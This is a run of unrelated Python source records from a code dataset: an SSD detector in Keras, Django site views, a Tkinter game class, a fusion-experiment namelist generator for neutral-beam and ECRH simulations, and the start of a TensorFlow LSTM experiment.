name='conv8_2_mbox_loc_reshape')(conv8_2_mbox_loc)\n conv9_2_mbox_loc_reshape = Reshape((-1, 4), name='conv9_2_mbox_loc_reshape')(conv9_2_mbox_loc)\n #concat各层预测的定位输出\n mbox_loc = Concatenate(axis=1, name='mbox_loc')([conv4_3_norm_mbox_loc_reshape,\n fc7_mbox_loc_reshape,\n conv6_2_mbox_loc_reshape,\n conv7_2_mbox_loc_reshape,\n conv8_2_mbox_loc_reshape,\n conv9_2_mbox_loc_reshape])\n #引进anchor网络,便于多目标定位,卷积性质决定\n # Output shape of anchors: `(batch, height, width, n_boxes, 8)`\n conv4_3_norm_mbox_priorbox = AnchorBoxes(img_height, img_width, this_scale=scales[0], next_scale=scales[1],\n aspect_ratios=aspect_ratios[0],\n this_steps=steps[0],\n this_offsets=offsets[0], clip_boxes=clip_boxes,\n variances=variances, coords=coords, normalize_coords=normalize_coords,\n name='conv4_3_norm_mbox_priorbox')(conv4_3_norm_mbox_loc)\n fc7_mbox_priorbox = AnchorBoxes(img_height, img_width, this_scale=scales[1], next_scale=scales[2],\n aspect_ratios=aspect_ratios[1],\n this_steps=steps[1], this_offsets=offsets[1],\n clip_boxes=clip_boxes,\n variances=variances, coords=coords, normalize_coords=normalize_coords,\n name='fc7_mbox_priorbox')(fc7_mbox_loc)\n conv6_2_mbox_priorbox = AnchorBoxes(img_height, img_width, this_scale=scales[2], next_scale=scales[3],\n aspect_ratios=aspect_ratios[2],\n this_steps=steps[2],\n this_offsets=offsets[2], clip_boxes=clip_boxes,\n variances=variances, coords=coords, normalize_coords=normalize_coords,\n name='conv6_2_mbox_priorbox')(conv6_2_mbox_loc)\n conv7_2_mbox_priorbox = AnchorBoxes(img_height, img_width, this_scale=scales[3], next_scale=scales[4],\n aspect_ratios=aspect_ratios[3],\n this_steps=steps[3],\n this_offsets=offsets[3], clip_boxes=clip_boxes,\n variances=variances, coords=coords, normalize_coords=normalize_coords,\n name='conv7_2_mbox_priorbox')(conv7_2_mbox_loc)\n conv8_2_mbox_priorbox = AnchorBoxes(img_height, img_width, this_scale=scales[4], next_scale=scales[5],\n aspect_ratios=aspect_ratios[4],\n this_steps=steps[4],\n this_offsets=offsets[4], clip_boxes=clip_boxes,\n variances=variances, coords=coords, normalize_coords=normalize_coords,\n name='conv8_2_mbox_priorbox')(conv8_2_mbox_loc)\n conv9_2_mbox_priorbox = AnchorBoxes(img_height, img_width, this_scale=scales[5], next_scale=scales[6],\n aspect_ratios=aspect_ratios[5],\n this_steps=steps[5],\n this_offsets=offsets[5], clip_boxes=clip_boxes,\n variances=variances, coords=coords, normalize_coords=normalize_coords,\n name='conv9_2_mbox_priorbox')(conv9_2_mbox_loc)\n #reshape成(batchsize,None,8)\n conv4_3_norm_mbox_priorbox_reshape = Reshape((-1, 8), name='conv4_3_norm_mbox_priorbox_reshape')(\n conv4_3_norm_mbox_priorbox)\n fc7_mbox_priorbox_reshape = Reshape((-1, 8), name='fc7_mbox_priorbox_reshape')(fc7_mbox_priorbox)\n conv6_2_mbox_priorbox_reshape = Reshape((-1, 8), name='conv6_2_mbox_priorbox_reshape')(conv6_2_mbox_priorbox)\n conv7_2_mbox_priorbox_reshape = Reshape((-1, 8), name='conv7_2_mbox_priorbox_reshape')(conv7_2_mbox_priorbox)\n conv8_2_mbox_priorbox_reshape = Reshape((-1, 8), name='conv8_2_mbox_priorbox_reshape')(conv8_2_mbox_priorbox)\n conv9_2_mbox_priorbox_reshape = Reshape((-1, 8), name='conv9_2_mbox_priorbox_reshape')(conv9_2_mbox_priorbox)\n\n #concat各层的anchor\n mbox_priorbox = Concatenate(axis=1, name='mbox_priorbox')([conv4_3_norm_mbox_priorbox_reshape,\n fc7_mbox_priorbox_reshape,\n conv6_2_mbox_priorbox_reshape,\n conv7_2_mbox_priorbox_reshape,\n conv8_2_mbox_priorbox_reshape,\n conv9_2_mbox_priorbox_reshape])\n #将最终结果concat\n # Output shape of `predictions`: (batch, n_boxes_total, n_classes + 4 + 8)\n predictions = Concatenate(axis=2, name='predictions')([mbox_conf_softmax, mbox_loc, mbox_priorbox])\n\n if mode == 'training':\n model = Model(inputs=img_input, outputs=predictions)\n elif mode == 'inference':\n decoded_predictions = DecodeDetections(confidence_thresh=confidence_thresh,\n iou_threshold=iou_threshold,\n top_k=top_k,\n nms_max_output_size=nms_max_output_size,\n coords=coords,\n normalize_coords=normalize_coords,\n img_height=img_height,\n img_width=img_width,\n name='decoded_predictions')(predictions)\n model = Model(inputs=img_input, outputs=decoded_predictions)\n\n else:\n raise ValueError(\n \"`mode` must be one of 'training', 'inference' or 'inference_fast', but received '{}'.\".format(mode))\n\n if return_predictor_sizes:\n predictor_sizes = np.array([conv4_3_norm_mbox_conf._keras_shape[1:3],\n fc7_mbox_conf._keras_shape[1:3],\n conv6_2_mbox_conf._keras_shape[1:3],\n conv7_2_mbox_conf._keras_shape[1:3],\n conv8_2_mbox_conf._keras_shape[1:3],\n conv9_2_mbox_conf._keras_shape[1:3]])\n return model, predictor_sizes\n else:\n return model\n","sub_path":"code/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":19908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"391228895","text":"# -*- coding: utf-8 -*-\n\nfrom django.core.context_processors import csrf\nfrom django.contrib import messages\nfrom django.http import Http404, HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.utils.simplejson import dumps\nfrom django.views.decorators.cache import cache_page\n\nfrom call_order.forms import RequestForm\nfrom request.forms import RegisterForm\nfrom bonuses.models import Article\nfrom products.models import Product\nfrom pages.models import Page\nfrom slideshow.models import Slider\nfrom livesettings import config_value\nimport config\n\n\nCACHE_TIME=60*60\n\ndef get_common_context(request):\n c = {}\n c['request_url'] = request.path\n c['settings'] = { 'email': config_value('MyApp', 'EMAIL'), }\n c.update(csrf(request))\n c['call_form'] = RequestForm()\n\n return c\n\n\"\"\"\ndef page(request):\n c = get_common_context(request)\n if request.POST and request.POST['action'] == 'call':\n call_form = RequestForm(request.POST)\n if call_form.is_valid():\n call_form.save()\n call_form = RequestForm()\n messages.success(request, u'Спасибо! В ближайшее время мы Вам перезвоним.')\n return HttpResponseRedirect('/')\n else:\n call_form = RequestForm()\n\n if request.POST and request.POST['action'] == 'request':\n reg_form = RegisterForm(request.POST)\n if reg_form.is_valid():\n reg_form.save()\n reg_form = RegisterForm()\n messages.success(request, u'Спасибо! Ваша заявка отправлена.')\n return HttpResponseRedirect('/')\n else:\n reg_form = RegisterForm()\n\n if request.POST and request.POST['action'] == 'review':\n review_form = ReviewForm(request.POST)\n if review_form.is_valid():\n review_form.save()\n review_form = ReviewForm()\n messages.success(request, u'Спасибо! Ваш отзыв отправлен.')\n return HttpResponseRedirect('/')\n else:\n review_form = ReviewForm()\n\n c['call_form'] = call_form\n c['reg_form'] = reg_form\n c['review_form'] = review_form\n c['photos'] = Photo.objects.all()\n c['reviews'] = Review.objects.all()\n return render_to_response('base.html', c, context_instance=RequestContext(request))\n\"\"\"\n@cache_page(CACHE_TIME)\ndef page(request, page_name):\n c = get_common_context(request)\n\n try:\n c.update(Page.get_by_slug(page_name))\n return render_to_response('page.html', c, context_instance=RequestContext(request))\n except:\n raise Http404()\n\n\"\"\"\n\n url(r'^about/$', views.about),\n url(r'^products/$', views.products),\n url(r'^products/(?P[\\w-]+)/$', views.products_in),\n url(r'^services/$', views.services),\n\"\"\"\n\n@cache_page(CACHE_TIME)\ndef home(request):\n c = get_common_context(request)\n c.update(Page.get_by_slug('home'))\n c['slideshow'] = Slider.objects.all()\n return render_to_response('home.html', c, context_instance=RequestContext(request))\n\n\ndef ajax_call(request):\n if request.is_ajax():\n json_data = {'result': True}\n call_form = RequestForm(request.POST)\n if call_form.is_valid():\n call_form.save()\n else:\n json_data['result'] = False\n json_data['errors'] = call_form.errors\n return HttpResponse(dumps(json_data), mimetype='application/json')\n\n\ndef call(request):\n c = get_common_context(request)\n if request.POST and request.POST['action'] == 'call':\n call_form = RequestForm(request.POST)\n if call_form.is_valid():\n call_form.save()\n call_form = RequestForm()\n #messages.success(request, u'Спасибо! В ближайшее время мы Вам перезвоним.')\n return HttpResponseRedirect(request.POST['next'])\n raise Http404()\n\n\ndef ajax_request(request):\n if request.is_ajax():\n json_data = {'result': True}\n call_form = RegisterForm(request.POST)\n if call_form.is_valid():\n call_form.save()\n else:\n json_data['result'] = False\n json_data['errors'] = call_form.errors\n return HttpResponse(dumps(json_data), mimetype='application/json')\n\n\ndef request_f(request):\n c = get_common_context(request)\n if request.POST and request.POST['action'] == 'request':\n call_form = RegisterForm(request.POST)\n if call_form.is_valid():\n call_form.save()\n call_form = RegisterForm()\n #messages.success(request, u'Спасибо! В ближайшее время мы Вам перезвоним.')\n return HttpResponseRedirect(request.POST['next'])\n raise Http404()\n\n\n@cache_page(CACHE_TIME)\ndef bonuses(request):\n c = get_common_context(request)\n c['bonuses'] = Article.objects.all()\n return render_to_response('bonuses.html', c, context_instance=RequestContext(request))\n\n\n@cache_page(CACHE_TIME)\ndef bonuses_in(request, page_name):\n c = get_common_context(request)\n c['bonus'] = Article.get_by_slug(page_name)\n return render_to_response('bonuses_in.html', c, context_instance=RequestContext(request))\n\n\n@cache_page(CACHE_TIME)\ndef contacts(request):\n c = get_common_context(request)\n return render_to_response('contacts.html', c, context_instance=RequestContext(request))\n\n\n@cache_page(CACHE_TIME)\ndef about(request):\n c = get_common_context(request)\n c.update(Page.get_by_slug('about'))\n return render_to_response('about.html', c, context_instance=RequestContext(request))\n\n\n@cache_page(CACHE_TIME)\ndef products(request):\n c = get_common_context(request)\n c['products'] = Product.objects.all()\n return render_to_response('products.html', c, context_instance=RequestContext(request))\n\n\n@cache_page(CACHE_TIME)\ndef products_in(request, page_name):\n c = get_common_context(request)\n c['product'] = Product.get_by_slug(page_name)\n return render_to_response('products_in.html', c, context_instance=RequestContext(request))\n\n\n@cache_page(CACHE_TIME)\ndef services(request):\n c = get_common_context(request)\n c.update(Page.get_by_slug('services'))\n return render_to_response('services.html', c, context_instance=RequestContext(request))\n","sub_path":"festlab/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"384122828","text":"from tkinter import *\nimport time\nfrom Gravity import Gravity\nfrom Restart import restart\n\nclass Background(object):\n def __init__(self):\n self.a = Tk()\n self.b = Canvas(self.a, width = 600, height = 600)\n self.step = self.b.create_rectangle(100, 440, 250, 600, fill='red')\n self.grass = self.b.create_rectangle(0, 520, 600, 600, fill=\"green\")\n self.wall = self.b.create_rectangle(250, 350, 300, 550, fill='grey')\n #hole extends by 3 to make it possible to fall in only visually not in the actual implementation\n self.hole = self.b.create_rectangle(60, 520, 93, 600, fill='black')\n self.wall2 = self.b.create_rectangle(350, 350, 400, 550, fill='red')\n self.goalwall = self.b.create_rectangle(550,350,600,550, fill='yellow')\n\n self.b.pack()\n self.obsticles = [{'width':250,'height':350, 'id':1}, {'width':350, 'height':350, 'id':2}]\n self.holes = [60]\n self.objectlookup = {1:self.wall, 2:self.wall2}\n self.holeslookup = {60:self.hole}\n self.goal = 550\n self.a.positionCheckTask = None\n\n def GROUND(self, obj) :\n if obj.r >100 and obj.r < 250 + 30:\n return 400\n return 500\n\n def gameover(self):\n root = Tk()\n a = Label(root, text='GAMEOVER!', font=(\"Arial\", \"36\", \"bold\"))\n a.grid(row=0, column=0)\n Button(root, text='New Game', command=lambda: restart(root, self.a)).grid(row=1, column=0)\n Button(root, text='Quit', command=lambda: sys.exit(0)).grid(row=1, column=1)\n self.a.after_cancel(self.a.positionCheckTask)\n root.mainloop()\n\n def goal_reached(self):\n root = Tk()\n a = Label(root, text='YOU WIN!', font=(\"Arial\", \"36\", \"bold\"))\n a.grid(row=0, column=0)\n Button(root, text='New Game', command=lambda: restart(root, self.a)).grid(row=1, column=0)\n Button(root, text='Quit', command=lambda: sys.exit(0)).grid(row=1, column=1)\n root.mainloop()\n\n def removeObsticleAt(self, obj, block_obj, window=None):\n self.obsticles.remove(block_obj)\n self.b.delete(self.objectlookup[block_obj['id']])\n window.destroy()\n window.quit()\n obj.moveRight(event = None)\n\n","sub_path":"Background.py","file_name":"Background.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"567661729","text":"import os, shutil\nimport numpy as np\nimport nbi_tr2as, nbi_geo, locate_dir, read_ech, read_nbi\n\nawd = os.getenv('AWD')\nif awd is None:\n awd = locate_dir.locate('.tsk')\nif awd is None:\n awd = locate_dir.locate_rec('.tsk')\n\n\ndef split_line(arr, dims, lbl, fmt='%10.4e'):\n\n tmp = np.cumsum( np.append([0], np.array(dims)) )\n nml = ''\n for jdim in range(len(dims)):\n nml += ' %s(%d) = ' %(lbl, tmp[jdim]+1)\n for jch in range(tmp[jdim], tmp[jdim+1]):\n nml += fmt %arr[jch]\n if jch < tmp[jdim+1] - 1:\n nml += ', '\n else:\n nml += '\\n'\n\n return nml\n\n\ndef spider():\n\n sp_nml = '&spider\\n\\n'\n sp_nml += ' kprs = 0\\n'\n sp_nml += ' k_grids = 0\\n'\n sp_nml += ' epsros = 1.d-9\\n'\n sp_nml += ' enelss = 1.d-7\\n'\n sp_nml += ' key_plcs = 1\\n'\n sp_nml += ' toric_fourc = 11\\n' # TORIC fourc\n sp_nml += ' toric_file = 0\\n'\n sp_nml += ' torba_file = 1\\n'\n sp_nml += ' strahl_file = 0\\n'\n sp_nml += ' eqdsk_file = 1\\n'\n sp_nml += ' strahl_fourc = 4\\n' # STRAHL fourc\n sp_nml += ' write_coils_diagn = 0\\n' # save diagnostic coilc urrents and voltages in a_spidfer\n sp_nml += ' k_filessss = 0\\n' # ?\n sp_nml += '\\n/\\n\\n'\n\n sp_nml += '&spider_settings\\n\\n'\n sp_nml += ' time_fix_eqpff = 0.0021\\n'\n sp_nml += ' fix_eqpf_eqff = 0\\n' # if 1, fix eqpf eqff from file spidat2.dat, this also overrides whatever inume_3\n sp_nml += ' cheb_degree = 5\\n'\n sp_nml += ' spidat_yes = 1\\n'\n sp_nml += ' iter_one_only_fbe = 0\\n'\n sp_nml += ' advanced_methods = 3\\n' #if -1 fix eqpf, eqff\n sp_nml += ' i3method = 3\\n'\n sp_nml += ' diagnostic_gsef = 0\\n'\n sp_nml += ' do_adcmp = 0\\n'\n sp_nml += ' urelax = 0.5\\n'\n sp_nml += ' urelax2 = 0.1\\n'\n sp_nml += ' murelax2 = 0.2\\n'\n sp_nml += ' ydiff = 1.e2\\n'\n sp_nml += ' ydiff2 = 1.\\n'\n sp_nml += ' max_iter = 10000\\n'\n sp_nml += ' miter_ext = 1\\n'\n sp_nml += ' interp_routine = 2\\n'\n sp_nml += ' interp_method_rect = 4\\n'\n sp_nml += ' epsf_tol = 1.e-9\\n'\n sp_nml += ' epss_tol = 1.e-5\\n'\n sp_nml += ' epsv_tol = 1.e-5\\n'\n sp_nml += ' epsg_tol = 1.e-8\\n'\n sp_nml += ' key_no_startz = 0\\n' # if 0, no iterations when key_start =1\t\n sp_nml += ' key_no_refits = 0\\n' # if 0, does not overwrite coil.dat with new coil currents\n sp_nml += '\\n/\\n'\n\n return sp_nml\n \n\ndef nbi_nml(nshot):\n\n nbi = read_nbi.NBI(nshot)\n n_box1 = nbi.n_box[0]\n n_box2 = nbi.n_box[1]\n n_nbi = np.sum(nbi.n_box)\n einj_ev = 1e3*nbi.einj_kev\n\n# R(P):: Distance horizontal beam crossing to - torus axis [cm]\n R0 = np.array(nbi.n_box[0]*[284.2] + n_box2*[329.6], dtype=np.float32)\n\n# PHI: angle between R and box [rad]\n phi_deg = np.array(nbi.n_box[0]*[15.] + n_box2*[18.9], dtype=np.float32)\n phi_rad = np.radians(phi_deg)\n\n# THETA: angle towards P (horizontal beam crossing) [rad]\n theta_deg = np.array(n_box1*[33.75] + n_box2*[29.], dtype=np.float32)\n theta_rad = np.radians(theta_deg)\n theta_rad[4:] += np.pi\n\n# 3 sectors, new coordinate system\n theta_rad -= np.pi/8.*3.\n\n# ALPHA: horizontal angle between Box-axis and source [rad]\n alpha_deg = 4.1357*np.array(2*[1., -1., -1., 1.], dtype=np.float32)\n\n# distance between P0 and Px!\n delta_x = -50.\n\n# BETA = vertical angle between box-axis and source [rad]\n beta_deg = np.array([-4.8991, -4.8991, 4.8991, 4.8991, -4.8991, -6.6555, 6.6555, 4.8991])\n beta_nis_deg = nbi.beta_sf_deg*np.array(2*[-1., -1., 1., 1.], dtype=np.float32)\n print(beta_nis_deg)\n\n# correct beta of Q6\n dbeta6 = 6.65 + beta_nis_deg[5]\n xdbeta = np.array([-1., -0.3, 0., 0.55, 1.], dtype=np.float32)\n ydbeta = np.zeros_like(xdbeta)\n ydbeta[1] = 0.03\n ydbeta[2] = 0.07\n ydbeta[3] = 0.2\n# extrapolation:\n ydbeta[0] = (ydbeta[2] - ydbeta[1])/(xdbeta[2] - xdbeta[1]) * (xdbeta[0] - xdbeta[1]) + ydbeta[1]\n ydbeta[4] = (ydbeta[3] - ydbeta[2])/(xdbeta[3] - xdbeta[2]) * (xdbeta[4] - xdbeta[3]) + ydbeta[3]\n dbeta_corr6_deg = np.interp(dbeta6, xdbeta, ydbeta)\n dbeta_corr6_rad = np.radians(dbeta_corr6_deg)\n \n # correct beta of Q7\n dbeta7 = 6.65 - beta_nis_deg[6]\n xdbeta = np.array([-1., -0.46, 0., 0.53, 1.], dtype=np.float32)\n ydbeta[1] = 0.14\n ydbeta[2] = 0.14\n ydbeta[3] = 0.32\n# extrapolation:\n ydbeta[0] = (ydbeta[2] - ydbeta[1])/(xdbeta[2] - xdbeta[1]) * (xdbeta[0] - xdbeta[1]) + ydbeta[1]\n ydbeta[4] = (ydbeta[3] - ydbeta[2])/(xdbeta[3] - xdbeta[2]) * (xdbeta[4] - xdbeta[3]) + ydbeta[3]\n dbeta_corr7_deg = np.interp(dbeta7, xdbeta, ydbeta)\n dbeta_corr7_rad = np.radians(dbeta_corr7_deg)\n\n alpha_rad = np.radians(alpha_deg)\n beta_rad = np.radians(beta_deg)\n beta_nis_rad = np.radians(beta_nis_deg)\n beta_nis_rad[5] += -dbeta_corr6_rad\n beta_nis_rad[6] += dbeta_corr7_rad\n\n# Ralph's correction\n# move beams different toroidal injection geometry of Q3:\n\n alpha_rad[2] += np.radians(0.4)\n\n theta_rad[4] += np.radians(0.3)\n alpha_rad[4] += np.radians(0.3)\n\n theta_rad[5] += np.radians(-0.4)\n alpha_rad[5] += np.radians(0.65)\n\n theta_rad[6] += np.radians(-0.2)\n alpha_rad[6] += np.radians(0.4)\n\n beta_rad[7] += np.radians(-0.1)\n alpha_rad[7] += np.radians(-0.20)\n\n# get dbeta\n dbeta_rad = beta_nis_rad - beta_rad\n\n# distance center of box and P0\n d_box_P0 = 650.0\n\n# source elevation w.r.t. midplane [cm] estimate\n src_hv = np.tan(beta_rad)*(delta_x - d_box_P0)\n\n# the off-axis rotation axis of NBI Q6 and NBI Q7 is\n# actually not at the source but somewhat distant\n# so calculate the source-position depending on the rotation.\n# the axis of rotation is 45 cm higher than the source axis. \n# consider this by dxr and dyr\n pivot = np.array([0., 0., 0., 0., 0., -45., 45., 0.], dtype=np.float32)\n dz = 95.*np.sin(dbeta_rad) + pivot*(np.cos(dbeta_rad) - 1.)\n dx = 95.*(np.cos(dbeta_rad) - 1.) - pivot*np.sin(dbeta_rad)\n \n# new vertical source positions\n src_hv = src_hv + dz\n \n# also the distance between P0 and the source changes in the\n# horizontal plane!\n d_box_P0 += - np.cos(alpha_rad)*np.cos(dbeta_rad)*dx\n\n# distance source, P0\n# src_hw_homepage=[47., -47., -47., 47., 47., -47., -47., 47.]\n src_hw = np.tan(alpha_rad)*d_box_P0\n\n# Phi_box: angle of the box-axi to the x-axis [rad]\n phi_box_rad = theta_rad - phi_rad\n\n# P0 position as defined on the AUG homepage [cm]\n xyz_P0_cm = np.zeros((n_nbi, 3), dtype=np.float32)\n xyz_P0_cm[:, 0] = R0 * np.cos(theta_rad)\n xyz_P0_cm[:, 1] = R0 * np.sin(theta_rad)\n xyz_P0_cm[:, 2] = src_hv + np.sqrt(d_box_P0**2 + src_hw**2 + src_hv**2)*np.sin(beta_rad)\n\n# position of source in xyz coordinates\n xyz_src_cm = np.zeros_like(xyz_P0_cm)\n dist = np.hypot(d_box_P0, src_hw)\n xyz_src_cm[:, 0] = xyz_P0_cm[:, 0] + dist*np.cos(phi_box_rad + alpha_rad)\n xyz_src_cm[:, 1] = xyz_P0_cm[:, 1] + dist*np.sin(phi_box_rad + alpha_rad)\n xyz_src_cm[:, 2] = src_hv\n# Unit vector\n xyz_vec = xyz_P0_cm - xyz_src_cm\n for jnb in range(n_nbi):\n xyz_vec[jnb, :] /= np.linalg.norm(xyz_vec[jnb])\n\n xyz_src_m = 0.01*xyz_src_cm\n\n# RABBIT\n\n rb_nml = '&rabbit_beam_geo\\n\\n'\n\n for jnb in range(n_nbi):\n rb_nml += ' start_pos(1:3, %d) =' %(jnb+1)\n rb_nml += '%11.7f,%11.7f,%11.7f\\n' %(xyz_src_m[jnb, 0], xyz_src_m[jnb, 1], xyz_src_m[jnb, 2])\n rb_nml += '\\n'\n for jnb in range(n_nbi):\n rb_nml += ' unit_vec(1:3, %d) =' %(jnb+1)\n rb_nml += '%11.7f,%11.7f,%11.7f\\n' %(xyz_vec[jnb, 0], xyz_vec[jnb, 1], xyz_vec[jnb, 2])\n rb_nml += '\\n'\n\n rb_nml += ' width_poly(1:3, 1) = 0.0000000, 0.0098729131, 0.0000000\\n'\n rb_nml += ' width_poly(1:3, 2) = 0.0000000, 0.0098729131, 0.0000000\\n'\n rb_nml += ' width_poly(1:3, 3) = 0.0000000, 0.0098729131, 0.0000000\\n'\n rb_nml += ' width_poly(1:3, 4) = 0.0000000, 0.0098729131, 0.0000000\\n'\n rb_nml += ' width_poly(1:3, 5) = 0.0000000, 0.0116500000, 0.0000000\\n'\n rb_nml += ' width_poly(1:3, 6) = 0.0000000, 0.0116500000, 0.0000000\\n'\n rb_nml += ' width_poly(1:3, 7) = 0.0000000, 0.0116500000, 0.0000000\\n'\n rb_nml += ' width_poly(1:3, 8) = 0.0000000, 0.0116500000, 0.0000000\\n'\n\n rb_nml += '\\n/\\n\\n'\n\n rb_nml += '&partmix\\n\\n'\n\n for jnb in range(n_nbi):\n rb_nml += ' part_mix(1:3, %d) =' %(jnb+1)\n rb_nml += '%11.7f,%11.7f,%11.7f\\n' %(nbi.part_mix[jnb, 0], nbi.part_mix[jnb, 1], nbi.part_mix[jnb, 2])\n rb_nml += '\\n/\\n\\n'\n\n rb_nml += '&nbi_par\\n\\n'\n rb_nml += ' n_nbi = %d\\n' %n_nbi\n rb_nml += ' a_beam = '\n for jnb in range(n_nbi-1):\n rb_nml += ' %2.1f,' %nbi.abeam[jnb]\n rb_nml += ' %2.1f\\n' %nbi.abeam[-1]\n rb_nml += ' z_beam = '\n for jnb in range(n_nbi-1):\n rb_nml += ' %2.1f,' %nbi.zbeam[jnb]\n rb_nml += ' %2.1f\\n' %nbi.zbeam[-1]\n rb_nml += \" pinj_file = '%s/udb/%d/P%d.NBI'\\n\" %(awd, nshot, nshot)\n rb_nml += split_line(einj_ev, [n_box1, n_box2], 'einj', fmt='%10.4e')\n rb_nml += '\\n/\\n\\n'\n\n rb_nml += '&species\\n'\n rb_nml += ' Aimp = 200.00\\n'\n rb_nml += ' Zimp = 100.00\\n'\n rb_nml +='/\\n\\n'\n rb_nml += '&output_settings\\n'\n rb_nml += ' it_orbout = -1\\n'\n rb_nml += '/\\n\\n'\n rb_nml += '&physics\\n'\n rb_nml += ' jumpcor=2\\n'\n rb_nml += \" table_path = '/afs/ipp/home/m/markusw/adas/idl/geiger_janev/tables_highRes'\\n\"\n rb_nml += '/\\n\\n'\n\n rb_nml += '&numerics\\n'\n rb_nml += ' norbits=20\\n'\n rb_nml += '/\\n'\n\n# NBINJ\n\n nb_nml = '&nbinj_par\\n\\n'\n for jnb in range(n_nbi):\n nb_nml += ' power_mix(1:3, %d) =' %(jnb+1)\n nb_nml += '%11.7f,%11.7f,%11.7f\\n' %(nbi.power_mix[jnb, 0], nbi.power_mix[jnb, 1], nbi.power_mix[jnb, 2])\n nb_nml += '\\n'\n nb_nml += split_line(n_nbi*[0] , [n_box1, n_box2], 'CONTR', fmt='%5.2f')\n nb_nml += split_line(n_nbi*[1] , [n_box1, n_box2], 'CBMS1', fmt='%5.2f') # orb_av\n nb_nml += split_line(n_nbi*[81], [n_box1, n_box2], 'CBMS2', fmt='%5.2f') # penc_num\n\n aug = nbi_geo.AUG_TR(nbi=nbi)\n deltaR = [0.25, 0.35, 0.35, 0.25, 0.62, 0.58, 0.58, 0.62]\n aspect = 1.\n\n rbtmin, rbtmax, hbeam, tgA = nbi_tr2as.tr2as(aug.rtcena, aug.xybsca, aug.xlbtna, \\\n aug.xybapa, aug.xlbapa, deltaR)\n nb_nml += split_line(hbeam , [n_box1, n_box2], 'HBEAM' , fmt='%10.7f')\n nb_nml += split_line(rbtmax, [n_box1, n_box2], 'rb_max', fmt='%10.7f')\n nb_nml += split_line(rbtmin, [n_box1, n_box2], 'rb_min', fmt='%10.7f')\n nb_nml += split_line(tgA , [n_box1, n_box2], 'CBMS3' , fmt='%10.7f') # tan(alpha)\n nb_nml += split_line(n_nbi*[aspect], [n_box1, n_box2], 'CBMS4', fmt='%10.7f') # Aspect\n nb_nml += split_line(n_nbi*[4], [n_box1, n_box2], 'CBMH1', fmt='%5.2f')\n nb_nml += split_line(n_nbi*[2], [n_box1, n_box2], 'CBMH2', fmt='%5.2f')\n nb_nml += split_line(n_nbi*[4], [n_box1, n_box2], 'CBMR1', fmt='%5.2f')\n nb_nml += split_line(n_nbi*[2], [n_box1, n_box2], 'CBMR2', fmt='%5.2f')\n\n nb_nml += '\\n/\\n'\n\n return rb_nml, nb_nml\n\n\ndef torbeam_nml(nshot):\n\n# ECN signals for theta, phi, freq from shot 23187\n# ECRH3 from shot 33725\n\n ech = read_ech.ECRH(nshot)\n\n if not hasattr(ech, 'p_ecs'):\n return\n\n ngy = np.sum(ech.n_gy)\n\n# Parameter output: TORBEAM piece of namelist\n\n if hasattr(ech, 'freq'):\n\n nmod = -1 # -1 X-mode, 1 O-mode\n\n tb_nml = '&torbeam\\n\\n'\n tb_nml += ' n_gyro = %d\\n' %ngy\n tb_nml += \" pecr_file = '%s/udb/%d/P%d.ECH'\\n\" %(awd, nshot, nshot)\n tb_nml += \" theta_file = '%s/udb/%d/THE%d.ECH'\\n\" %(awd, nshot, nshot)\n tb_nml += \" phi_file = '%s/udb/%d/PHI%d.ECH'\\n\" %(awd, nshot, nshot)\n tb_nml += ' beam_on = '\n for jgy in range(ngy):\n tb_nml += str(ech.gy_on[jgy])[0] # 'T' or 'F'\n if jgy < ngy-1:\n tb_nml += ', '\n else:\n tb_nml += '\\n'\n\n nmod_str = '%d, ' %nmod \n tb_nml += ' nmod = ' + (ngy - 1)*nmod_str + ' %d\\n' %nmod\n\n tb_nml += split_line(ech.freq , ech.n_gy, 'freq_n' , fmt='%10.4e')\n tb_nml += split_line(ech.phi_ps, ech.n_gy, 'phi_n' , fmt='%10.4e')\n tb_nml += split_line(ech.the_ps, ech.n_gy, 'theta_n', fmt='%10.4e')\n\n for key, arr in ech.tb_par.items():\n print(key)\n tb_nml += split_line(arr, ech.n_gy, key, fmt='%10.4e')\n\n tb_nml += '\\n/\\n'\n\n return tb_nml\n\n\n# Write fortran namelist\n\ndef astra_nml(nshot):\n\n rbnml, nbnml = nbi_nml(nshot)\n nml_dir = '%s/exp/nml' %awd\n os.system('mkdir -p %s' %nml_dir)\n\n fnml = '%s/aug%d' %(nml_dir, nshot)\n if os.path.isfile(fnml):\n backup = fnml+ '~'\n print('cp %s %s' %(fnml, backup))\n shutil.copy2(fnml, backup)\n\n f = open(fnml, 'w')\n f.write(rbnml)\n f.write('\\n')\n f.write(nbnml)\n f.write('\\n')\n f.write(torbeam_nml(nshot))\n f.write('\\n')\n f.write(spider())\n f.close()\n if 'backup' in locals():\n print('cp %s %s' %(fnml, backup))\n print('Stored %s' %fnml)\n\n\n\nif __name__ == '__main__':\n\n import sys\n if len(sys.argv) > 1:\n nshot = int(sys.argv[1])\n else:\n nshot = 29555\n astra_nml(nshot)\n","sub_path":"astra_nml.py","file_name":"astra_nml.py","file_ext":"py","file_size_in_byte":13211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"491698817","text":"import tensorflow as tf\r\nimport numpy as np\r\n\r\nfrom os import system\r\n\r\ntimesteps = 5\r\nnum_inputs = 2\r\nnum_outputs = 4\r\nbatch_size = 1\r\n\r\ntf_x = tf.placeholder(tf.float32, [None, timesteps, num_inputs])\r\nL = tf.keras.layers.LSTM(\r\n units=num_outputs,\r\n return_state=True,\r\n return_sequences=True\r\n)\r\ntf_y, tf_h, tf_c = L(tf_x)\r\n\r\nwith tf.Session() as s:\r\n x = np.array([[\r\n [.0, .0],\r\n [.3, .1],\r\n [.0, .0],\r\n [.0, .0],\r\n [.1, .0]\r\n ]])\r\n h = np.array([[.0, .0, .1, .0]])\r\n c = np.array([[.0, .1, .0, .0]])\r\n\r\n s.run(tf.global_variables_initializer())\r\n while input('continue? (y/n)') == 'y':\r\n L.states[0] = h #these assignment operations\r\n L.states[1] = c #don't do anything\r\n #I can still take advantage of tensorflow's\r\n #gpu usage, but I will have to write my own\r\n #LSTM network\r\n\r\n y, h, c = s.run(\r\n [tf_y, tf_h, tf_c],\r\n 